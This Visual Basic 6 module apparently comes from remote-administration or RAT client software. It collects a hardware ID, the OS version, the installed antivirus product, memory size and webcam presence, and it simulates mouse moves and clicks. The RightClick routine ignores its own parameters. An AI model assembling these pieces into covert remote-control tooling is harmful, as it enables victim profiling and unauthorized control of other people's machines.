Attribute VB_Name = "Modsysteminfo"
Private Declare Function GetVersionExW Lib "KERNEL32" (lpVersionInformation As Long) As Long
Public Type POINTAPI
    x As Long
    y As Long
    End Type
    Dim pp As POINTAPI
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dX As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
Private Const MOUSEEVENTF_LEFTDOWN = &H2
Private Const MOUSEEVENTF_LEFTUP = &H4
Private Const MOUSEEVENTF_RIGHTDOWN = &H8
Private Const MOUSEEVENTF_RIGHTUP = &H10
Private xp As Long
Public yp As Long
Dim sCurrentWindow As String
Private Declare Function capGetDriverDescriptionA Lib "avicap32" (ByVal wDriver As Integer, ByVal lpszName As String, ByVal cbName As Long, ByVal lpszVer As String, ByVal cbVer As Long) As Boolean

Private Type MEMORYSTATUS
        dwLength As Long
        dwMemoryLoad As Long
        dwTotalPhys As Long
        dwAvailPhys As Long
        dwTotalPageFile As Long
        dwAvailPageFile As Long
        dwTotalVirtual As Long
        dwAvailVirtual As Long
End Type
Private Declare Sub GlobalMemoryStatus Lib "KERNEL32" (lpBuffer As MEMORYSTATUS)
Private Declare Function GetLocaleInfo Lib "KERNEL32" Alias "GetLocaleInfoA" (ByVal Locale As Long, ByVal LCType As Long, ByVal lpLCData As String, ByVal cchData As Long) As Long
Private Const LOCALE_SYSTEM_DEFAULT As Long = &H400
Private Const LOCALE_SENGCOUNTRY = &H1002
Public Function GetTotalMem() As String
Dim MEMINFO As MEMORYSTATUS

MEMINFO.dwLength = Len(MEMINFO)

GlobalMemoryStatus MEMINFO

GetTotalMem = FileSize(MEMINFO.dwTotalPhys)
End Function
Public Function FileSize(ByVal StrSize As String) As String 'Function by andy aka British_Intel
    If StrSize$ < 1024 Then
        FileSize = StrSize$ & " Bytes"
    ElseIf StrSize$ < 1048576 Then
        FileSize = Format(StrSize$ / 1024#, "###0.00") & " KB"
    ElseIf StrSize$ > 1048576 Then
        FileSize = Format(StrSize$ / 1024# ^ 2, "###0.00") & " MB"
    End If
End Function
Public Sub Wait(iSecond As Integer)
On Error Resume Next
Dim Tme As Single
'================
Tme = Timer
Do Until (Timer - Tme >= iSecond) Or Sending = True
    DoEvents
Loop
End Sub
Public Function hwid()
On Error Resume Next
Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set disks = root.ExecQuery("select * from win32_logicaldisk")
For Each disk In disks
    If disk.volumeserialnumber <> "" Then
        hwid = disk.volumeserialnumber
        Exit For
    End If
Next
End Function
Public Function GetOS() As String
    Dim tOS(68)       As Long
    
    tOS(0) = &H114
    GetVersionExW tOS(0)
    
    Select Case tOS(4) & "." & tOS(1) & "." & tOS(2)
        Case "2.5.0": GetOS = "Windows 2K"
        Case "2.5.1": GetOS = "Windows XP"
        Case "2.5.2": GetOS = "Windows Server 2K3"
        Case "2.6.0": GetOS = "Windows Vista"
        Case "2.6.1": GetOS = "Windows 7"
        Case "2.6.2": GetOS = "Windows 8"
        Case Else: GetOS = ""
    End Select
    
End Function
Public Function GetFWAV() As String
    On Error Resume Next
    Dim colItems As Object
    Dim objItem As Object
    Dim objWMIService As Object
    Set objWMIService = GetObject("winmgmts:\\.\root\SecurityCenter")
    Set colItems = objWMIService.ExecQuery("Select * from AntiVirusProduct")
    For Each objItem In colItems
       tmp = objItem.DisplayName
    Next
    If tmp = "" Then
    GetFWAV = "Unknown"
    Else
    GetFWAV = tmp
    End If
End Function

Public Sub LeftClick(x As Long, y As Long)
mouse_event MOUSEEVENTF_LEFTDOWN, x, y, 0, 0
mouse_event MOUSEEVENTF_LEFTUP, x, y, 0, 0
End Sub

Public Sub RightClick(xp As Long, yp As Long)
mouse_event MOUSEEVENTF_RIGHTDOWN, x, y, 0, 0
mouse_event MOUSEEVENTF_RIGHTUP, x, y, 0, 0
End Sub

Public Sub MouseMove(x As Long, y As Long)
Dim move
move = SetCursorPos(x, y)
End Sub

Function GetCamDrvs() As String
On Error GoTo ErrDrvs
Dim lResult As Long
Dim DrvName As String * 255
Dim DrvVer As String * 255
lResult = capGetDriverDescriptionA(0, DrvName, 100, DrvVer, 100)
GetCamDrvs = "N/A"
If lResult Then GetCamDrvs = "Yes"
Exit Function
ErrDrvs:
GetCamDrvs = "N/A"
End Function
